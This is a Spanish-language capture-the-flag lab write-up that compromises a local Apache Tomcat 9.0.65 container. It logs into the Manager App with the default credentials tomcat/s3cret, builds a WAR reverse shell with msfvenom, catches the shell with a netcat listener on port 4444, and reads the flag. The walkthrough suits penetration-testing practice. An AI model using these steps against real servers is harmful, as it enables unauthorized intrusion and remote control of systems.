

Laboratorio TOMCAT

Escaneo

```
nmap -sV -sC -p- -n -Pn 172.17.0.2
```

```
(samlab@Pentest)-[~/Escritorio/labs/3]
$ nmap -sV -sC -p- -n -Pn 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-20 20:05 -0500
Nmap scan report for 172.17.0.2
Host is up (0.000016s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
8080/tcp   open  http    Apache Tomcat 9.0.65
|_http-title: Apache Tomcat/9.0.65
|_http-favicon: Apache Tomcat
MAC Address: 3A:06:01:5A:6A:46 (Unknown)
```

Ingresamos en el buscador con el numero ip de la maquina.

[Home](#) [Documentation](#) [Configuration](#) [Examples](#) [Wiki](#) [Mailing Lists](#) [Find Help](#)

Apache Tomcat/9.0.65

 APACHE SOFTWARE FOUNDATION
http://www.apache.org/

If you're seeing this, you've successfully installed Tomcat. Congratulations!



Recommended Reading:

- [Security Considerations How-To](#)
- [Manager Application How-To](#)
- [Clustering/Session Replication How-To](#)

[Server Status](#)
[Manager App](#)
[Host Manager](#)

Developer Quick Start

[Tomcat Setup](#)
[First Web Application](#)

[Realms & AAA](#)
[JDBC DataSources](#)

[Examples](#)

[Servlet Specifications](#)
[Tomcat Versions](#)

Managing Tomcat

For security, access to the [manager webapp](#) is restricted. Users are defined in:

```
$CATALINA_HOME/conf/tomcat-users.xml
```

In Tomcat 9.0 access to the manager application is split between different users.
[Read more...](#)

[Release Notes](#)

Documentation

[Tomcat 9.0 Documentation](#)
[Tomcat 9.0 Configuration](#)
[Tomcat Wiki](#)

Find additional important configuration information in:

```
$CATALINA_HOME/RUNNING.txt
```

Getting Help

[FAQ](#) and [Mailing Lists](#)

The following mailing lists are available:

[tomcat-announce](#)
Important announcements, releases, security vulnerability notifications. (Low volume).

[tomcat-users](#)
User support and discussion

[taglibs-user](#)

Investigamos un poco dentro de los iconos que encontramos en la pagina y abrimos el que decia Manager App y contramos alguna credenciales.

User: tomcat

Password : s3cret

401 Unauthorized

You are not authorized to view this page. If you have not changed any configuration files, please examine the file `conf/tomcat-users.xml` in your installation. That file must contain the credentials to let you use this webapp.

For example, to add the `manager-gui` role to a user named `tomcat` with a password of `s3cret`, add the following to the config file listed above.

```
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
```

Note that for Tomcat 7 onwards, the roles required to use the manager application were changed from the single `manager` role to the following four roles. You will need to assign the role(s) required for the functionality you wish to access.

- `manager-gui` - allows access to the HTML GUI and the status pages
- `manager-script` - allows access to the text interface and the status pages
- `manager-jmx` - allows access to the JMX proxy and the status pages
- `manager-status` - allows access to the status pages only

The HTML interface is protected against CSRF but the text and JMX interfaces are not. To maintain the CSRF protection:

- Users with the `manager-gui` role should not be granted either the `manager-script` or `manager-jmx` roles.
- If the text or jmx interfaces are accessed through a browser (e.g. for testing since these interfaces are intended for tools not humans) then the browser must be closed afterwards to terminate the session.

For more information - please see the [Manager App How-To](#).

Se realizo comprobacion de las credenciales obtenidas, las cuales se validaron corrcamente



Tomcat Web Application Manager

Message:

OK

Manager

List Applications

HTML Manager Help

Manager Help

Server Status

Applications

Path	Version	Display Name	Running	Sessions	Commands
/	None specified	Welcome to Tomcat	true	0	StartStopReloadUndeploy Expire sessions with idle ≥ 30 minutes
/docs	None specified	Tomcat Documentation	true	0	StartStopReloadUndeploy Expire sessions with idle ≥ 30 minutes
/examples	None specified	Servlet and JSP Examples	true	0	StartStopReloadUndeploy Expire sessions with idle ≥ 30 minutes
					StartStopReloadUndeploy Expire sessions with idle ≥ 30 minutes

Encontramos con la posibilidad de cargar un archivo extensión .war

Es algo nuevo esto, con lo cual no estoy familiarizado asi que nos apoyamos con san goole para guiarnos como generar la carga útil con msfvenom

WAR file to deploy
Select WAR file to upload Browse... No file selected. Deploy

Se procede con la herramienta msfvenom a generar el archivo con el reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f war -o shell.war

```
(samlab@Pentest)-[~/Escritorio/labs/3]
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f war -o shell.war
Payload size: 1099 bytes
Final size of war file: 1099 bytes
Saved as: shell.war

(samlab@Pentest)-[~/Escritorio/labs/3]
$
```

Lo subimos a la aplicación y abrimos un kali en escucha y una vez abrimos el link nos permitio ingresar a la maquina, usaremos el comando nc -lvnp 4444

Es la herramienta Netcat que lo ponemos en modo de escucha (-l) con Verbose (-v) para que muestre más información en la pantalla, también para que no intente resolver nombres de dominio, de esta forma sea más rápido y evitando que se cuelgue tratando de traducir Ips a nombres, especificamos el número de puerto (-p)

/shell	None specified		true	0	Start Stop Reload Undeploy
Expire sessions with idle ≥ 30 minutes					

```
(root@kali)-[/home/kali/Escritorio/lab]
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f war > shell2.war
Payload size: 1103 bytes
Final size of war file: 1103 bytes
```

```
(root@kali)-[/home/kali/Escritorio/lab]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 43686
id
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
whoami
tomcat
ls -la
total 180
drwxr-xr-x 1 tomcat tomcat 4096 Feb 20 23:56 .
drwxr-xr-x 1 root root 4096 Feb 20 23:56 ..
-rw-r--r-- 1 tomcat tomcat 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 tomcat tomcat 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 tomcat tomcat 807 Feb 25 2020 .profile
-rw-r--r-- 1 tomcat tomcat 19992 Jul 14 2022 BUILDING.txt
-rw-r--r-- 1 tomcat tomcat 6210 Jul 14 2022 CONTRIBUTING.md
-rw-r--r-- 1 tomcat tomcat 57092 Jul 14 2022 LICENSE
-rw-r--r-- 1 tomcat tomcat 2333 Jul 14 2022 NOTICE
-rw-r--r-- 1 tomcat tomcat 3398 Jul 14 2022 README.md
```

```
root@kali: /home/kali/Escritorio/lab x root@kali: /home/kali/Escritorio/lab x
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
whoami
tomcat
ls -la
total 180
drwxr-xr-x 1 tomcat tomcat 4096 Feb 20 23:56 .
drwxr-xr-x 1 root root 4096 Feb 20 23:56 ..
-rw-r--r-- 1 tomcat tomcat 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 tomcat tomcat 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 tomcat tomcat 807 Feb 25 2020 .profile
-rw-r--r-- 1 tomcat tomcat 19992 Jul 14 2022 BUILDING.txt
-rw-r--r-- 1 tomcat tomcat 6210 Jul 14 2022 CONTRIBUTING.md
-rw-r--r-- 1 tomcat tomcat 57092 Jul 14 2022 LICENSE
-rw-r--r-- 1 tomcat tomcat 2333 Jul 14 2022 NOTICE
-rw-r--r-- 1 tomcat tomcat 3398 Jul 14 2022 README.md
-rw-r--r-- 1 tomcat tomcat 6901 Jul 14 2022 RELEASE-NOTES
-rw-r--r-- 1 tomcat tomcat 16505 Jul 14 2022 RUNNING.txt
drwxr-xr-x 2 tomcat tomcat 4096 Feb 20 23:56 bin
drwxr-xr-x 1 tomcat tomcat 4096 Apr 21 03:34 conf
-rw-r--r-- 1 tomcat tomcat 39 Feb 20 23:56 flag.txt
drwxr-xr-x 2 tomcat tomcat 4096 Feb 20 23:56 lib
drwxr-xr-x 1 tomcat tomcat 4096 Apr 21 03:34 logs
drwxr-xr-x 2 tomcat tomcat 4096 Feb 20 23:56 temp
drwxr-xr-x 1 tomcat tomcat 4096 Apr 21 03:39 webapps
drwxr-xr-x 1 tomcat tomcat 4096 Apr 21 03:34 work
cat flag.txt
TOMCAT{brut3_f0rc3_m4n4g3r_upl04d_w4r}
```

root@kali: /home/kali/Escritorio/lab

root@kali: /home/kali/Escritorio/lab

[*] Desplegando laboratorio ofensivo ...

[v] Escenario listo para el ataque.

Laboratorio: TOMCAT

Dificultad: ★★★★★★ fácil

Recompensa: 1 XP

Objetivo accesible en: 172.17.0.2

Formato esperado: TOMCAT{ ... }

Ingresa la flag: TOMCAT{brut3_f0rc3_m4n4g3r_upl04d_w4r}

Objetivo comprometido con éxito.

Has dominado el laboratorio: TOMCAT

Sigues avanzando como pentester ofensivo.

FECHA Y HORA: 2026-04-20 23:41:35 -0400

[*] Presiona Ctrl+C para eliminar el laboratorio